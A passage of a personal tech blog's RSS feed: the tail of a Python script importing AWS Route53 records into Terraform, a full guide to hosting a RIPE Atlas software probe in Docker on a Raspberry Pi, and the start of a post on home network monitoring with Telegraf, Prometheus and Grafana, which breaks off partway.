<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    with</span><span style="color: light-dark(#005CC5, #6CB6FF);"> open</span><span>(</span><span>dummy_file_path</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> f</span><span>:</span></span>
<span class="giallo-l"><span>        f</span><span>.</span><span>write</span><span>(</span><span>add_dummy_record</span><span>.</span><span>substitute</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">resource_name</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>resource_name</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Shells out `terraform import` command in the host OS.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> terraform_import</span><span>(</span><span>resource_name</span><span>,</span><span> resource_type</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    import_command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">terraform import aws_route53_record.</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);"> {</span><span style="color: light-dark(#005CC5, #6CB6FF);">ZONE_ID</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_type</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    run</span><span>(</span><span>import_command</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> shell</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> check</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Shells out `terraform state mv` command in the host OS.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> terraform_move</span><span>(</span><span>resource_name</span><span>,</span><span> resource_type</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    mv_command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">terraform state mv aws_route53_record.</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;module.</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span style="color: light-dark(#005CC5, #6CB6FF);">MODULE_NAME</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">.aws_route53_record.route53_record[</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_type</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">]</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    run</span><span>(</span><span>mv_command</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> shell</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> check</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">if</span><span style="color: light-dark(#005CC5, #6CB6FF);"> __name__</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">__main__</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span></span>
<span class="giallo-l"><span>    missing</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> check_env_vars</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span> missing</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        exit</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Required env variable </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>missing</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> is missing.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>    records</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> load_records</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    for</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> records</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ResourceRecordSets</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>        resource_name</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> i</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Name</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>        resource_type</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> i</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Type</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>        template_dummy_file</span><span>(</span><span>resource_name</span><span>)</span></span>
<span class="giallo-l"><span>        terraform_import</span><span>(</span><span>resource_name</span><span>,</span><span> resource_type</span><span>)</span></span>
<span class="giallo-l"><span>        terraform_move</span><span>(</span><span>resource_name</span><span>,</span><span> resource_type</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Imported </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span></code></pre>
<p>Hope this tiny Python script helps you transition your AWS Route53 records neatly and effortlessly!</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Setting up a RIPE Atlas Probe]]></title>
            <link>https://mrkaran.dev/posts/ripe-atlas-probe-setup/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/ripe-atlas-probe-setup/</guid>
            <pubDate>Sat, 03 Oct 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[Twitter is an amazing thing! For all the shitposting and meme-ing that’s done there, there are some really cool people you get to interact with which wouldn’t have been possible IRL. I happened to stumble upon Swapneel last year in Bangalore at a meetup. He occasionally posts about RIPE Atlas Probes measurements on his Twitter feed and that made me curious and learn more about the Atlas Probe. Call it the Baader-Meinhof effect but just when I was reading his blog post on RIPE Atlas, I found about a Hasgeek workshop which is being conducted by Swapneel himself and well, that’s how I basically got interested in setting up a probe myself.
What is RIPE Atlas Probe#
A Probe is a device used to measure various metrics like DNS, SSL/TLS, NTP, ping, traceroute etc for an upstream target. A network of such probes is useful not just to internet researchers, network engineers, ISP operators, public activists but also to common folks like me who are simply curious about the network/WWW in general. The idea behind this is simple – you get some virtual credits for hosting a probe. You can make use of these credits to run your own measurements to gain insights about the health of your network. The data from these measurements are made publicly available by RIPE NCC and anyone can see these results.
There are 2 ways to host a Probe: Software and Hardware. Since the start of this year, RIPE Atlas is available as software packages for various platforms. Before this, the only way to set up a Probe was to host a Hardware probe by applying for one at RIPE NCC website. These hardware probes are not shipping to India since quite some time as Swapneel mentioned and if you’re in India, your only choice, for now, is to set up a software probe. A few key differences in the 2 kinds of probes:
Initial Setup: Hardware probe is a plug-n-play device, no setup required. That makes it attractive for a lot of people, to just get a small device and host it.
Spare Compute: For hosting a probe it is recommended that the probe stays online for as long as possible. This means you need to have a spare compute lying around, like a RaspebrryPi, a VM, a server etc. It’s not really recommended to host a probe on your laptop/desktop - something which has ad-hoc usage pattern. For people who don’t have any spare compute, a hardware probe is more suited for them.
Tampering Result: With the software probe, there are easy ways of tampering the measurement result, which might give a bad data point to people running the measurements. For eg, a software probe could tamper with the DNS queries for a particular upstream and fool you to believe that there’s a problem with the uplink or the upstream target.
You can read more about Probes here and this FAQ section is highly recommended to clear all the basic doubts you might have about Probes.
Setting up a Software Probe in a Container#
Well, Containers are awesome! It’s easier to do a docker run than figure out the installation instructions for your OS, ensure dependencies are installed and insert 10 other things you have to do. So, I decided to use jamesits/ripe-atlas Docker image to host a probe on my RPi 4.
However, in case you don’t want to use Containers for a reason best known to you, you can visit the official docs and find out instructions for your platform.
You can follow the below steps to set up a probe via Docker:
1. Create a RIPE NCC Account#
You need to register for a RIPE NCC Access Account before proceeding further. Visit the registration page and create an account.
2. Start the container#
docker run --detach --restart=always --log-opt max-size=10m \
        --cap-add=SYS_ADMIN --cap-add=NET_RAW --cap-add=CHOWN \
        --mount type=tmpfs,destination=/var/atlasdata,tmpfs-size=64M \
        -v /var/atlas-probe/etc:/var/atlas-probe/etc \
        -v /var/atlas-probe/status:/var/atlas-probe/status \
        -e RXTXRPT=yes \
        --name ripe-atlas --hostname "$(hostname --fqdn)" \
        jamesits/ripe-atlas:latest
NOTE: In the above case, since I am running the Probe on my RPi which is why I am using latest-armv7l tag for the jamesits/ripe-atlas image. In case you are doing this on an amd64 machine, you should use the latest tag only. You can find more options for the container here.
3. Apply for a Software Probe#
You need to register for a software probe here and fill in the details as mentioned below.

ASN: You can find the ASN of your public IP by visiting ip2asn.com. You need to enter your public IP here which you can find it by visiting ifconfig.co.

Public Key: You need to fill the public key generated by your Probe:
cat /var/atlas-probe/etc/probe_key.pub
Note: We are mounting the /var/atlas-probe/etc on the host path inside the container at /var/atlas-probe/etc. This ensures that if you stop/remove the container, your public/private key pair isn’t lost and there’s no need to regenerate/apply for a Probe again. However in case you lose this, the Probe will attempt to generate a new pair and you might need to change the public key at that point of time. So be careful to take a backup of the generated key and store somewhere safe.
After submitting the form, you will receive an email which will have information about your Probe ID.

4. Wait patiently#
After filling the form you need to wait roughly for 15 minutes for your probe to be added to the global network of Atlas Probes. You will receive an email saying your Probe is live now.

Creating Measurements#
It’s pretty simple to create measurements, both via UI and a Python library developed by the RIPE community. However, for the ease and convenience I will demonstrate how to create a traceroute measurement from the UI itself:
Note: You get around 15 Credits/minute for hosting a probe. In case you just deployed a probe you might not have enough credits to perform this measurement. You can come back later to do this when you have sufficient credits.
Visit the dashboard and headover to Measurement tab. On clicking the Create a Measurement button you will be presented a form with various options. Let’s try a Traceroute to mrkaran.dev for this measurement:

To limit the number of probes, I am going to select all Probes in India, by clicking on +New Set -wizard option in the Probe Selection tab.

After submitting the form, you will be presented with a Measurement ID which you can use to download the data at a later point as well.

Visit the Measurement ID page and wait for a couple of minutes for all probes to perform the measurements:

That’s it! You can explore other types of Measurements and different options while performing them to customise your use case.
Summary#
Atlas Probes are pretty easy to host and they are crucial in giving valuable insights about how different clients connect to upstreams and spot issues in Networks. If you can host a probe, you should seriously consider doing that and help increase the number of probes in the network. As of today, the number of probes in India is just around 113 and that is seriously very less.
If you need any help hosting one, don’t hesitate to contact me on my Twitter.
Oh, and for the record, I am hosting 2 Probes currently. Probe 1000991 hosted on my local RPi connected to my home network (ASN24560) and Probe 1001117 hosted on a DigitalOcean droplet in Bengaluru (ASN14061).

Fin!]]></description>
            <content:encoded><![CDATA[<p>Twitter is an amazing thing! For all the shitposting and meme-ing that’s done there, there are some really cool people you get to interact with which wouldn’t have been possible IRL. I happened to stumble upon <a rel="external" href="https://twitter.com/pswapneel">Swapneel</a> last year in Bangalore at a meetup. He occasionally posts about <a rel="external" href="https://atlas.ripe.net/">RIPE Atlas</a> Probes measurements on his Twitter feed and that made me curious and learn more about the Atlas Probe. Call it the Baader-Meinhof effect but just when I was reading his <a rel="external" href="https://brainattic.in/blog/2020/03/27/host-a-ripe-atlas-software-probe-in-your-network/">blog post</a> on RIPE Atlas, I found about a Hasgeek <a rel="external" href="https://hasgeek.com/rootconf/measuring-the-internet-using-ripe-atlas/">workshop</a> which is being conducted by Swapneel himself and well, that’s how I basically got interested in setting up a probe myself.</p>
<h2 id="what-is-ripe-atlas-probe">What is RIPE Atlas Probe<a class="zola-anchor" href="#what-is-ripe-atlas-probe" aria-label="Anchor link for: what-is-ripe-atlas-probe">#</a></h2>
<p>A <a rel="external" href="https://atlas.ripe.net/about/probes/">Probe</a> is a device used to measure various metrics like DNS, SSL/TLS, NTP, ping, traceroute etc for an upstream target. A network of such probes is useful not just to internet researchers, network engineers, ISP operators, public activists but also to common folks like me who are simply curious about the network/WWW in general. The idea behind this is simple – you get some virtual credits for hosting a probe. You can make use of these credits to run your own measurements to gain insights about the health of your network. The data from these measurements are made publicly available by RIPE NCC and anyone can see these results.</p>
<p>There are 2 ways to host a Probe: <strong>Software</strong> and <strong>Hardware</strong>. Since the start of this year, RIPE Atlas is available as software packages for various platforms. Before this, the only way to set up a Probe was to host a Hardware probe by applying for one at RIPE NCC website. These hardware probes are not shipping to India since quite some time as Swapneel mentioned and if you’re in India, your only choice, for now, is to set up a software probe. A few key differences in the 2 kinds of probes:</p>
<ul>
<li><strong>Initial Setup</strong>: Hardware probe is a plug-n-play device, no setup required. That makes it attractive for a lot of people, to just get a small device and host it.</li>
<li><strong>Spare Compute</strong>: For hosting a probe it is recommended that the probe stays online for as long as possible. This means you need to have a spare compute lying around, like a RaspebrryPi, a VM, a server etc. It’s not really recommended to host a probe on your laptop/desktop - something which has ad-hoc usage pattern. For people who don’t have any spare compute, a hardware probe is more suited for them.</li>
<li><strong>Tampering Result</strong>: With the software probe, there are easy ways of tampering the measurement result, which might give a bad data point to people running the measurements. For eg, a software probe could tamper with the DNS queries for a particular upstream and fool you to believe that there’s a problem with the uplink or the upstream target.</li>
</ul>
<p>You can read more about Probes <a rel="external" href="https://atlas.ripe.net/about/probes/">here</a> and this <a rel="external" href="https://atlas.ripe.net/about/faq/">FAQ</a> section is highly recommended to clear all the basic doubts you might have about Probes.</p>
<h2 id="setting-up-a-software-probe-in-a-container">Setting up a Software Probe in a Container<a class="zola-anchor" href="#setting-up-a-software-probe-in-a-container" aria-label="Anchor link for: setting-up-a-software-probe-in-a-container">#</a></h2>
<p>Well, Containers <em>are</em> awesome! It’s easier to do a <code>docker run</code> than figure out the installation instructions for your OS, ensure dependencies are installed and <em>insert 10 other things you have to do</em>. So, I decided to use <a rel="external" href="https://github.com/Jamesits/docker-ripe-atlas">jamesits/ripe-atlas</a> Docker image to host a probe on my RPi 4.</p>
<p>However, in case you don’t want to use Containers for a reason best known to you, you can visit the <a rel="external" href="https://atlas.ripe.net/docs/software-probe/">official docs</a> and find out instructions for your platform.</p>
<p>You can follow the below steps to set up a probe via Docker:</p>
<h4 id="1-create-a-ripe-ncc-account">1. Create a RIPE NCC Account<a class="zola-anchor" href="#1-create-a-ripe-ncc-account" aria-label="Anchor link for: 1-create-a-ripe-ncc-account">#</a></h4>
<p>You need to register for a RIPE NCC Access Account before proceeding further. Visit the <a rel="external" href="https://access.ripe.net/registration">registration</a> page and create an account.</p>
<h4 id="2-start-the-container">2. Start the container<a class="zola-anchor" href="#2-start-the-container" aria-label="Anchor link for: 2-start-the-container">#</a></h4>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">docker</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-detach</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-restart=always</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-log-opt</span><span style="color: light-dark(#032F62, #96D0FF);"> max-size=10m</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-cap-add=SYS_ADMIN</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-cap-add=NET_RAW</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-cap-add=CHOWN</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-mount</span><span style="color: light-dark(#032F62, #96D0FF);"> type=tmpfs,destination=/var/atlasdata,tmpfs-size=64M</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);"> /var/atlas-probe/etc:/var/atlas-probe/etc</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);"> /var/atlas-probe/status:/var/atlas-probe/status</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        -</span><span style="color: light-dark(#005CC5, #6CB6FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);"> RXTXRPT=yes</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-name</span><span style="color: light-dark(#032F62, #96D0FF);"> ripe-atlas</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-hostname</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">$(</span><span style="color: light-dark(#6F42C1, #F69D50);">hostname</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-fqdn</span><span style="color: light-dark(#032F62, #96D0FF);">)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        jamesits/ripe-atlas:latest</span></span></code></pre>
<p><strong>NOTE</strong>: In the above case, since I am running the Probe on my RPi which is why I am using <code>latest-armv7l</code> tag for the <code>jamesits/ripe-atlas</code> image. In case you are doing this on an <code>amd64</code> machine, you should use the <code>latest</code> tag only. You can find more options for the container <a rel="external" href="https://github.com/Jamesits/docker-ripe-atlas#running">here</a>.</p>
<h4 id="3-apply-for-a-software-probe">3. Apply for a Software Probe<a class="zola-anchor" href="#3-apply-for-a-software-probe" aria-label="Anchor link for: 3-apply-for-a-software-probe">#</a></h4>
<p>You need to register for a software probe <a rel="external" href="https://atlas.ripe.net/apply/swprobe/">here</a> and fill in the details as mentioned below.</p>
<p><img src="https://mrkaran.dev/images/ripe-apply-swprobe.png" alt="image" /></p>
<ul>
<li><strong>ASN</strong>: You can find the ASN of your public IP by visiting <a rel="external" href="https://iptoasn.com/">ip2asn.com</a>. You need to enter your public IP here which you can find it by visiting <a rel="external" href="https://ifconfig.co/">ifconfig.co</a>.</li>
</ul>
<p><img src="https://mrkaran.dev/images/ripe-ip2asn.png" alt="image" /></p>
<ul>
<li><strong>Public Key</strong>: You need to fill the public key generated by your Probe:</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">cat</span><span style="color: light-dark(#032F62, #96D0FF);"> /var/atlas-probe/etc/probe_key.pub</span></span></code></pre>
<p><strong>Note</strong>: We are mounting the <code>/var/atlas-probe/etc</code> on the host path inside the container at <code>/var/atlas-probe/etc</code>. This ensures that if you stop/remove the container, your public/private key pair isn’t lost and there’s no need to regenerate/apply for a Probe again. However in case you lose this, the Probe will attempt to generate a new pair and you might need to change the public key at that point of time. So be careful to take a backup of the generated key and store somewhere safe.</p>
<p>After submitting the form, you will receive an email which will have information about your Probe ID.</p>
<p><img src="https://mrkaran.dev/images/ripe-apply-email.png" alt="image" /></p>
<h4 id="4-wait-patiently">4. Wait patiently<a class="zola-anchor" href="#4-wait-patiently" aria-label="Anchor link for: 4-wait-patiently">#</a></h4>
<p>After filling the form you need to wait roughly for <strong>15 minutes</strong> for your probe to be added to the global network of Atlas Probes. You will receive an email saying your Probe is live now.</p>
<p><img src="https://mrkaran.dev/images/ripe-confirm-email.png" alt="image" /></p>
<h2 id="creating-measurements">Creating Measurements<a class="zola-anchor" href="#creating-measurements" aria-label="Anchor link for: creating-measurements">#</a></h2>
<p>It’s pretty simple to create measurements, both via UI and a <a rel="external" href="https://ripe-atlas-cousteau.readthedocs.io/en/latest/">Python library</a> developed by the RIPE community. However, for the ease and convenience I will demonstrate how to create a traceroute measurement from the UI itself:</p>
<p><strong>Note</strong>: You get around 15 Credits/minute for hosting a probe. In case you just deployed a probe you might not have enough credits to perform this measurement. You can come back later to do this when you have sufficient credits.</p>
<p>Visit the <a rel="external" href="https://atlas.ripe.net/my/">dashboard</a> and headover to <a rel="external" href="https://atlas.ripe.net/measurements/">Measurement</a> tab. On clicking the <code>Create a Measurement</code> button you will be presented a form with various options. Let’s try a Traceroute to <code>mrkaran.dev</code> for this measurement:</p>
<p><img src="https://mrkaran.dev/images/ripe-measurement4.png" alt="image" /></p>
<p>To limit the number of probes, I am going to select all Probes in India, by clicking on <code>+New Set -wizard</code> option in the Probe Selection tab.</p>
<p><img src="https://mrkaran.dev/images/ripe-measurement3.png" alt="image" /></p>
<p>After submitting the form, you will be presented with a Measurement ID which you can use to download the data at a later point as well.</p>
<p><img src="https://mrkaran.dev/images/ripe-measurement2.png" alt="image" /></p>
<p>Visit the Measurement ID page and wait for a couple of minutes for all probes to perform the measurements:</p>
<p><img src="https://mrkaran.dev/images/ripe-measurement1.png" alt="image" /></p>
<p>That’s it! You can explore other types of Measurements and different options while performing them to customise your use case.</p>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>Atlas Probes are pretty easy to host and they are crucial in giving valuable insights about how different clients connect to upstreams and spot issues in Networks. If you can host a probe, you should seriously consider doing that and help increase the number of probes in the network. As of today, the number of probes in India is just around 113 and that is seriously very less.</p>
<p>If you need any help hosting one, don’t hesitate to contact me on my Twitter.</p>
<p>Oh, and for the record, I am hosting 2 Probes currently. <a rel="external" href="https://atlas.ripe.net/probes/1000991/">Probe 1000991</a> hosted on my local RPi connected to my home network (ASN24560) and <a rel="external" href="https://atlas.ripe.net/probes/1001117/">Probe 1001117</a> hosted on a DigitalOcean droplet in Bengaluru (ASN14061).</p>
<p><img src="https://mrkaran.dev/images/ripe-my-probes.png" alt="image" /></p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Monitoring my home network]]></title>
            <link>https://mrkaran.dev/posts/isp-monitoring/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/isp-monitoring/</guid>
            <pubDate>Fri, 18 Sep 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[I like monitoring stuff. That’s what I do at work and when my home ISP started giving me random problems and I decided it would be nice to monitor my home network as well. There are a couple of ways to go around this, a very popular and OSS solution is SmokePing. SmokePing is written in Perl and is used to visualise network latencies. It’s quite a great solution but for my current stack which involves Prometheus and Grafana, it meant I had to deploy a standalone tool separate from my monitoring stack - something which I wanted to avoid.

So, I looked for other solutions and luckily happened to stumble upon oddtazz in one of the common Telegram groups where he shared his solution for the above: Telegraf ICMP plugin and Grafana. This is exactly what I’ve been looking for but for some reason, I had wrongly assumed Telegraf needs InfluxDB to store the data. Googling a bit more, I found Telegraf supports Prometheus format (amongst a huge list of others!) but this wasn’t so clear in their docs.
I decided to run a Telegraf agent in my RPi connected to my home router over LAN and scrape metrics using Prometheus and visualise graphs in Grafana! For the non-patient readers, here’s what my dashboard looks like!:


Setup#
To get started, we need to download Telegraf and configure the Ping plugin. Telegraf has the concept of Plugins for Input, Output, Aggregating and Processing. What this basically means is that you can configure multiple input plugins like DNS, ICMP, HTTP and export the data of these plugins in a format of your choice with Output plugins.
This makes Telegraf extermely extensible, you could write a plugin (in Go) of your choice if you fancy that as well!
Here’s what my telegraf.conf looks like:
# Input plugins

# Ping plugin
[[inputs.ping]]
urls = ["mrkaran.dev", "tailscale.mrkaran.dev", "floyd.mrkaran.dev", "1.1.1.1", "kite.zerodha.com", "google.com", "reddit.com", "twitter.com", "amazon.in", "zerodha.com"]
count = 4
ping_interval = 1.0
timeout = 2.0

# DNS plugin
[[inputs.dns_query]]
  servers = ["100.101.134.59"]
  domains = ["mrkaran.dev", "tailscale.mrkaran.dev", "floyd.mrkaran.dev", "1.1.1.1", "kite.zerodha.com", "google.com", "reddit.com", "twitter.com", "amazon.in", "zerodha.com"]

# Output format plugins
[[outputs.prometheus_client]]
  listen = ":9283"
  metric_version = 2
Firstly, so nice to see an Ops tool not using YAML. Kudos to Telegraf for that. I’d love to see other tools follow suit.
Getting back to the configuration part, input.plugin is a list of plugins that can be configured and I have configured the Ping and DNS plugin in my config. The output is in Prometheus format so it can be scraped and ingested by Prometheus’ time-series DB.
Running Telegraf#
With the above config in place, let’s try running the agent and see what metrics we get. I am using official Docker image to run the agent with the following config:
docker run --name telegraf-agent --restart always -d -p 9283:9283 -v $PWD/telegraf.conf:/etc/telegraf/telegraf.conf:ro telegraf
After running the above command, you should be able to see the metrics at localhost:9283/metrics
$ curl localhost:9283/metrics | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0# HELP dns_query_query_time_ms Telegraf collected metric
# TYPE dns_query_query_time_ms untyped
dns_query_query_time_ms{dc="floyd",domain="amazon.in",host="work",rack="work",rcode="NOERROR",record_type="NS",result="success",server="100.101.134.59"} 124.096472
dns_query_query_time_ms{dc="floyd",domain="google.com",host="work",rack="work",rcode="NOERROR",record_type="NS",result="success",server="100.101.134.59"} 136.793673
dns_query_query_time_ms{dc="floyd",domain="kite.zerodha.com",host="work",rack="work",rcode="NOERROR",record_type="NS",result="success",server="100.101.134.59"} 122.780946
dns_query_query_time_ms{dc="floyd",domain="mrkaran.dev",host="work",rack="work",rcode="NOERROR",record_type="NS",result="success",server="100.101.134.59"} 137.915851
dns_query_query_time_ms{dc="floyd",domain="twitter.com",host="work",rack="work",rcode="NOERROR",record_type="NS",result="success",server="100.101.134.59"} 111.097483
Perfect! Now, we’re all set to configure Prometheus to scrape the metrics from this target. In order to do that you need to add a new Job:
- job_name: "ispmonitor"
  scrape_interval: 60s
  static_configs:
    - targets: ["100.94.241.54:9283"] # RPi telegraf Agent
In the above config, I am plugging my Tailscale IP assigned to my RPi on the port where Telegraf agent is bound to. This is one of the many reasons why Tailscale is so bloody awesome! I can connect different components in my network to each other without setting up any particular firewall rules, exposing ports on a case by case basis.
Sidenote: If you haven’t read Tailscale’s amazing NAT Traversal blog post, do yourself a favour and check it out after you finish reading this one ofcourse!
Anyway, coming back to our Prometheus setup, we can see the metrics being ingested:

